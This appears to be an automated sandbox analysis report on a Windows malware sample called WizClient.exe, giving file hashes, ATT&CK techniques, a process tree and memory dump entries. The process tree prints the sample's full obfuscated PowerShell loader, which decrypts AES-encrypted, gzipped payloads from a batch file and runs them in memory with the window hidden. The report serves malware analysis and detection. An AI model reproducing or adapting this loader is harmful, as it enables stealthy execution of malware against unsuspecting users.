2fcedcfbaeec9b017a9766d03393371c0945dcb3411fb1bcbd28b7ede135187e

General

Target

WizClient.exe
Size

399KB
MD5

63725d4c11dd0ab8c2313e234ac130f1
SHA1

3824b51f49a4529ec87c0b0513874db1ddb32a3b
SHA256

2fcedcfbaeec9b017a9766d03393371c0945dcb3411fb1bcbd28b7ede135187e
SHA512

1dbae2f346f22b18d5bcfb96b8423c24fbbc847655a236331adbbf9008776596e38d6c8937b2ab3aadb323bedcf39bf6df030d5dbae5dd6fbf4a4356271d7328
SSDEEP

6144:2TV1taX9DA8QL6ZlNzCFQ38CrfhSw8wblKzsMZ4EgUJT90JWBIz:2TV1cX9DjQLKcIh3dlKAjEgUJT9fB

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3496	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3496	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3496	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 3404 wrote to memory of 2872	3404	WizClient.exe	81
PID 3404 wrote to memory of 2872	3404	WizClient.exe	81
PID 3404 wrote to memory of 2872	3404	WizClient.exe	81
PID 2872 wrote to memory of 3884	2872	cmd.exe	83
PID 2872 wrote to memory of 3884	2872	cmd.exe	83
PID 2872 wrote to memory of 3884	2872	cmd.exe	83
PID 2872 wrote to memory of 3496	2872	cmd.exe	84
PID 2872 wrote to memory of 3496	2872	cmd.exe	84
PID 2872 wrote to memory of 3496	2872	cmd.exe	84

C:\Users\Admin\AppData\Local\Temp\WizClient.exe
"C:\Users\Admin\AppData\Local\Temp\WizClient.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3404
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\WizClient.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2872
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PCbRSPiPEXwsgUlV8KbYzYR8L0LBM8BX6iR7vNXLBKI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gzYNf938u5x3/Go6279N0A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vBYGZ=New-Object System.IO.MemoryStream(,$param_var); $lhEyE=New-Object System.IO.MemoryStream; $SlvSx=New-Object System.IO.Compression.GZipStream($vBYGZ, [IO.Compression.CompressionMode]::Decompress); $SlvSx.CopyTo($lhEyE); $SlvSx.Dispose(); $vBYGZ.Dispose(); $lhEyE.Dispose(); $lhEyE.ToArray();}function execute_function($param_var,$param2_var){ $jzyDV=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $CaYje=$jzyDV.EntryPoint; $CaYje.Invoke($null, $param2_var);}$QNDlT = 'C:\Users\Admin\AppData\Local\Temp\WizClient.bat';$host.UI.RawUI.WindowTitle = $QNDlT;$dKMTm=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($QNDlT).Split([Environment]::NewLine);foreach ($sWkdY in $dKMTm) { if ($sWkdY.StartsWith('gEWESOAzklUTNdYpSKZu')) { $myztF=$sWkdY.Substring(20); break; }}$payloads_var=[string[]]$myztF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:3884
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3496

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\WizClient.bat

Filesize
395KB

MD5
f648a3808707ec58ae00f082ac787b6b

SHA1
55ae98650074783346b5de7e9d069b191277a297

SHA256
a567eb6b80ef0dbeda64cfdc1ed0879f4367cfaca137b5cd66b173716282f2b1

SHA512
9fe7e9203532df159a23c06d71a9e95ec7a06102e266f355fed35fd8eea4caefd8ccd8d021495269df2801b020e1399bb8bf818d98f327d4527bc3d28c609e5f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xsttsiez.qkm.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3496-7-0x0000000074760000-0x0000000074F11000-memory.dmp

Filesize
7.7MB

Download
memory/3496-5-0x0000000002FA0000-0x0000000002FD6000-memory.dmp

Filesize
216KB

Download
memory/3496-6-0x0000000005840000-0x0000000005E6A000-memory.dmp

Filesize
6.2MB

Download
memory/3496-8-0x0000000074760000-0x0000000074F11000-memory.dmp

Filesize
7.7MB

Download
memory/3496-9-0x0000000005590000-0x00000000055B2000-memory.dmp

Filesize
136KB

Download
memory/3496-10-0x0000000005730000-0x0000000005796000-memory.dmp

Filesize
408KB

Download
memory/3496-11-0x0000000005E70000-0x0000000005ED6000-memory.dmp

Filesize
408KB

Download
memory/3496-4-0x000000007476E000-0x000000007476F000-memory.dmp

Filesize
4KB

Download
memory/3496-20-0x0000000005F50000-0x00000000062A7000-memory.dmp

Filesize
3.3MB

Download
memory/3496-21-0x000000007476E000-0x000000007476F000-memory.dmp

Filesize
4KB

Download
memory/3496-22-0x0000000074760000-0x0000000074F11000-memory.dmp

Filesize
7.7MB

Download
memory/3496-23-0x0000000074760000-0x0000000074F11000-memory.dmp

Filesize
7.7MB

Download

Analysis

Sharing